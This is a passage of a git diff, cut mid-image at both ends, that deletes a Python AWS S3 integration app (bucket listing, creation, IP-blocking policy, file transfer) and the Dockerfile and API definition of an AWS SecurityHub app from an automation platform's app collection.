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 diff --git a/aws-s3/1.0.0/requirements.txt b/aws-s3/1.0.0/requirements.txt deleted file mode 100644 index 00eb0244..00000000 --- a/aws-s3/1.0.0/requirements.txt +++ /dev/null @@ -1,3 +0,0 @@ -boto3==1.16.59 -bson==0.5.10 -requests==2.25.1 diff --git a/aws-s3/1.0.0/src/app.py b/aws-s3/1.0.0/src/app.py deleted file mode 100644 index d28854ec..00000000 --- a/aws-s3/1.0.0/src/app.py +++ /dev/null @@ -1,209 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import boto3 -import botocore -from botocore.config import Config - -from walkoff_app_sdk.app_base import AppBase - -class AWSS3(AppBase): - __version__ = "1.0.0" - app_name = "AWS S3" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def auth_s3(self, access_key, secret_key, region): - my_config = Config( - region_name = region, - signature_version = "s3v4", - retries = { - 'max_attempts': 10, - 'mode': 'standard' - }, - ) - - self.s3 = boto3.resource( - 's3', - config=my_config, - aws_access_key_id=access_key, - aws_secret_access_key=secret_key, - ) - - return self.s3 - - def list_buckets(self, access_key, secret_key, region): - self.s3 = self.auth_s3(access_key, secret_key, region) - client = self.s3.meta.client - try: - newlist = client.list_buckets() - return newlist - except botocore.exceptions.ClientError as e: - return "Error: %s" % e - - def create_bucket(self, access_key, secret_key, region, bucket_name, access_type): - self.s3 = self.auth_s3(access_key, secret_key, region) - client = self.s3.meta.client - try: - creation = client.create_bucket( - Bucket=bucket_name, - ACL=access_type, - CreateBucketConfiguration={ - 'LocationConstraint': region - }, - ) - - return creation - except botocore.exceptions.ClientError as e: - return "Error: %s" % e - - def block_ip_access(self, access_key, secret_key, region, bucket_name, ip): - self.s3 = self.auth_s3(access_key, secret_key, region) - client = self.s3.meta.client - - ip_policy = { - 'Effect': 'Deny', - "Principal": "*", - "Action": "s3:*", - "Resource": [ - "arn:aws:s3:::%s/*" % bucket_name, - "arn:aws:s3:::%s" % bucket_name - ], - "Condition": { - "IpAddress": { - "aws:SourceIp": [ - ip, - ] - } - } - } - - json_policy = {} - try: - result = client.get_bucket_policy(Bucket=bucket_name) - try: - policy = result["Policy"] - print(policy) - if ip in policy: - return "IP %s is already in this policy" % ip - - json_policy = json.loads(policy) - try: - json_policy["Statement"].append(ip_policy) - except KeyError: - json_policy["Statement"] = [ip_policy] - except KeyError as e: - return "Couldn't find key: %s" % e - except botocore.exceptions.ClientError: - # FIXME: If here, create new policy - json_policy = { - 'Version': '2012-10-17', - 'Statement': [ip_policy] - } - - #new_policy = json.loads(bucket_policy) - bucket_policy = json.dumps(json_policy) - print(bucket_policy) - print() - - try: - putaction = client.put_bucket_policy(Bucket=bucket_name, Policy=bucket_policy) - except botocore.exceptions.ClientError as e: - return "Failed setting policy: %s" % e - - print(putaction) - return "Successfully blocked IP %s" % ip - - def bucket_request_payment(self, access_key, secret_key, region, bucket_name): - self.s3 = self.auth_s3(access_key, secret_key, region) - client = self.s3.meta.client - - try: - return client.get_bucket_request_payment(Bucket=bucket_name) - except botocore.exceptions.ClientError as e: - return "Error: %s" % e - - def bucket_replication(self, access_key, secret_key, region, bucket_name): - self.s3 = self.auth_s3(access_key, secret_key, region) - client = self.s3.meta.client - - try: - return client.get_bucket_replication(Bucket=bucket_name) - except botocore.exceptions.ClientError as e: - return "Error: %s" % e - - def bucket_policy_status(self, access_key, secret_key, region, bucket_name): - self.s3 = self.auth_s3(access_key, secret_key, region) - client = self.s3.meta.client - - try: - return client.get_bucket_policy_status(Bucket=bucket_name) - except botocore.exceptions.ClientError as e: - return "Error: %s" % e - - def bucket_logging(self, access_key, secret_key, region, bucket_name): - self.s3 = self.auth_s3(access_key, secret_key, region) - client = self.s3.meta.client - - try: - return client.get_bucket_logging(Bucket=bucket_name) - except botocore.exceptions.ClientError as e: - return "Error: %s" % e - - def upload_file_to_bucket(self, access_key, secret_key, region, bucket_name, bucket_path, file_id): - self.s3 = self.auth_s3(access_key, secret_key, region) - client = self.s3.meta.client - - found_file = self.get_file(file_id) - print(found_file) - - s3_response = client.put_object(Bucket=bucket_name, Key=bucket_path, Body=found_file["data"]) - - #s3_response = client.upload_file('LOCAL PATH', bucket_name, bucket_path) - return s3_response - - def delete_file_from_bucket(self, access_key, secret_key, region, bucket_name, bucket_path): - self.s3 = self.auth_s3(access_key, secret_key, region) - client = self.s3.meta.client - - s3_response = client.delete_object(Bucket=bucket_name, Key=bucket_path) - return s3_response - - def download_file_from_bucket(self, access_key, secret_key, region, bucket_name, filename): - self.s3 = self.auth_s3(access_key, secret_key, region) - client = self.s3.meta.client - - s3_response_object = client.get_object(Bucket=bucket_name, Key=filename) - object_content = s3_response_object['Body'].read() - - filedata = { - "data": object_content, - "filename": filename, - } - ret = self.set_files(filedata) - - if isinstance(ret, list): - if len(ret) == 1: - return { - "success": True, - "file_id": ret[0], - "filename": filename, - "length": len(object_content), - } - - return { - "success": False, - "reason": "Bad return from file upload: %s" % ret - } - -if __name__ == "__main__": - AWSS3.run() diff --git a/aws-securityhub/1.0.0/Dockerfile b/aws-securityhub/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/aws-securityhub/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/aws-securityhub/1.0.0/api.yaml b/aws-securityhub/1.0.0/api.yaml deleted file mode 100644 index 01419fa2..00000000 --- a/aws-securityhub/1.0.0/api.yaml +++ /dev/null @@ -1,138 +0,0 @@ -app_version: 1.0.0 -name: AWS SecurityHub -description: An app to interact with Amazon EC2 -contact_info: - name: "@frikkylikeme" - url: https://shuffler.io - email: frikky@shuffler.io -tags: - - Ticketing - - SIEM -categories: - - Ticketing - - SIEM -authentication: - required: true - parameters: - - name: access_key - description: The access key to use - example: "*****" - required: true - schema: - type: string - - name: secret_key - description: The secret key to use - example: "*****" - required: true - schema: - type: string - - name: region - description: The region to use - example: "ap-south-1" - required: true - schema: - type: string -actions: - - name: enable_security_hub - description: Enables securityhub - returns: - schema: - type: string - - name: get_findings - description: Gets findings for a specific region - parameters: - - name: filters - description: The filter to add - required: false - multiline: true - example: "{'ProductArn': [ - { - 'Value': 'string', - 'Comparison': 'EQUALS' - }, - ]}" - schema: - type: string - returns: - schema: - type: string - - name: get_insights - description: Gets insights for a specific ARN - parameters: - - name: filters - description: The filter to add - required: false - multiline: true - example: "arn:aws:securityhub:::insight/securityhub/default/1" - schema: - type: string - returns: - schema: - type: string - - name: update_finding - description: Updates a finding - parameters: - - name: id - description: The id to use - required: true - multiline: false - example: "arn:aws:securityhub:ap-northeast-1:ID:subscription/aws-foundational-security-best-practices/v/1.0.0/Config.1/finding/3b5ca8f5-bc72-42fd-a956-d8c1bc775201" - schema: - type: string - - name: productArn - description: The id to use - required: true - multiline: false - example: "arn:aws:securityhub:ap-northeast-1::product/aws/securityhub" - schema: - type: string - - name: status - description: The new status to use - options: - - NEW - - NOTIFIED - - RESOLVED - - SUPPRESSED - required: true - multiline: false - example: "arn:aws:securityhub:ap-northeast-1::product/aws/securityhub" - schema: - type: string - returns: - schema: - type: string - - name: create_finding - description: Creates findings in AWS Securityhub - parameters: - - name: productArn - description: The ARN to use - required: true - multiline: false - example: "arn:aws:securityhub:us-east-1:ID:action/custom/shuffle" - schema: - type: string - - name: id - description: The finding ID - required: true - multiline: false - example: "12023158129" - schema: - type: string - - name: title - description: The Title to use - required: true - multiline: false - example: "Malware on host 1234" - schema: - type: string - - name: description - description: The finding description - required: false - multiline: true - example: "Descriptioooon" - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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